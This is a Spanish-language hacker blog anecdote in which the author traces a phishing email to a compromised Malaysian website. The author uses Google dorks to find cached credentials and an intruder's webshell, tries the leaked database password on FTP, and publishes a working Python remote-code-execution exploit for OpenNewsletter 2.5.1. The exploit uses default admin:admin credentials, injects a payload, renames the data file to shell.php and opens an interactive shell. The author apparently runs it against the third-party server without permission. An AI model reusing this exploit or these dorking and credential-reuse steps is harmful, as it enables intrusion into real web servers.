by [Q]3rv[0]
Prologo
Hacia rato que no le echaba una ojeada al spam de mi gmail y esta vez tenia el basurin lleno, es que muchas veces uno puede encontrarse envuelto en alguna aventurita que te alegre el dia o no, en este caso mas que nada fue un poco de diversion.En fin, mientras leia los subject de los correos me pare en uno que decia: “Your account has ben blocked”.
https://blockchain.info/
Al instante y era obvio deduje que se trataba de un caso de phishing, asi que sin dudarlo segui el enlace acortado por goo.gl para afirmar lo antes predicho.
como hiba a saber eso?
Un poco de Google Hacking
site:klsicci.com.my ext:txt
cache:http://klsicci.com.my/admintest1/config/klsiccic4.txt
Ya que conocia el user a travez del path /home/klsiccic/ informacion que habia obtenido de los ficheros cacheados, intente loguearme por ftp mediante el password de la db (Me he encontrado con muchos hostings que usan pass global para diferentes servicios), pero esta vez el ftp me reboto.
Todavia faltaba mucho por analizar, asi que segui probando con goog*. Queria un acceso rapido, entonces pense que podria estar cacheada la webshell del atacante, si es que realmente habia usado una para obtener acceso.
Luego de persistir con un par de strings
site:klsicci.com.my && inurl:shell
Hasta ahora no queria cersiorarme por completo hasta estar seguro de que fuera el autor del echo, tal vez la webshell podria pertenecer a otro intruder que nada tenia que ver con el scam.
Largue otra busqueda.
site:klsicci.com.my && intitle:"=[ 1n73ct10n privat shell ]="
Opennewsletter es una aplicacion open-source para administrar listas de mails.
OpenBUGletter
Una de ellas y por cierto la mas critica hablaba de un RCE en la plataforma.
http://www.exploit-db.com/exploits/2981/
Para ser aprovechado requieria de acceso a la administracion, investigando un poco en el source de opennews el cual lo obtuve de la siguiente web.
http://www.sourcexref.com/xref/opennewsletter/nav.html
Veo que las credenciales del admin son tomadas desde config.php y el user, pass por defecto es admin:admin
En settings.php se permite renombrar el mismo a travez de la variable $_POST['db_file'] que al igual que la anterior no posee ningun tipo de filtro seguro.
#!/usr/bin/env python # Description: Opennewsletter remote code execution exploit # Version tested: 2.5.1 # Author: q3rv0 import urllib2 import urllib import re class opennews_exploit: def __init__(self, host): self.host=host cookies=urllib2.HTTPCookieProcessor() opener=urllib2.build_opener(cookies) urllib2.install_opener(opener) def postSend(self, parametros, path): self.headers={"User-Agent":"Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20140319 Firefox/24.0 Iceweasel/24.4.0"} self.parametros=urllib.urlencode(parametros) self.path=path self.post=urllib2.Request(self.host+self.path, self.parametros, headers=self.headers) return urllib2.urlopen(self.post) def getOldDbFile(self): self.get=urllib2.urlopen(self.host+"settings.php").read() self.name=re.findall("name=old_db_file value=([\w\.\-_]+)>", self.get) return self.name[0] def verifyShell(self, path): try: self.path=path self.code=urllib2.urlopen(self.host+self.path) return self.code.getcode() except: pass target="http://pwnedhost.com/opennews/" shell="shell.php" user="admin" passwd="admin" admin_name="Your Name" admin_email="you@domain.com" charset="UTF-8" site_url="http://www.yourwebsite.com" opennews_directory="/" payload="" rce=opennews_exploit(target) def get_shell(shell): print "[*] Obteniendo la shell :)\n" while True: command=raw_input("$~: ") print "\n"+rce.postSend({"exec":command}, shell).read() if rce.verifyShell(shell)==200: get_shell(shell) else: print "\n[*] Logueando...\n" rce.postSend({"username":user, "password":passwd}, "index.php?action=login") print "[*] Insertando el payload...\n" rce.postSend({"email":payload}, "subscribers.php?action=add") print "[*] Renombrando la shell...\n" rce.postSend({"admin_username":user, "admin_password":passwd, "admin_name":admin_name, "admin_email":admin_email, "charset":charset, "site_url":site_url, "opennewsletter_dir":opennews_directory, "old_db_file":rce.getOldDbFile(), "db_file":shell, "action":"update"}, "settings.php") get_shell(shell)(Cabe decir que el codigo del exploit es a modo de POC, solo fue testeado en la version 2.5.1, podria no funcionar en versiones anteriores.)
run exploit
Buscando rastros del scam.
Luego de darle vueltas durante un rato, entrar y salir de directorios, darle a find como loco, no pude dar con el phishing, muchas veces las aventuras nunca terminan como uno quiere, eso terminaba por confirmarme de que el admin se habia encargado de el. Pero por otra parte encontre ciertos ficheros que comprometian aun mas al spammer/intruder.
El pequeño arsenal del defacer.
Ojala les haya gustado esta Hacknecdota.
Saludos!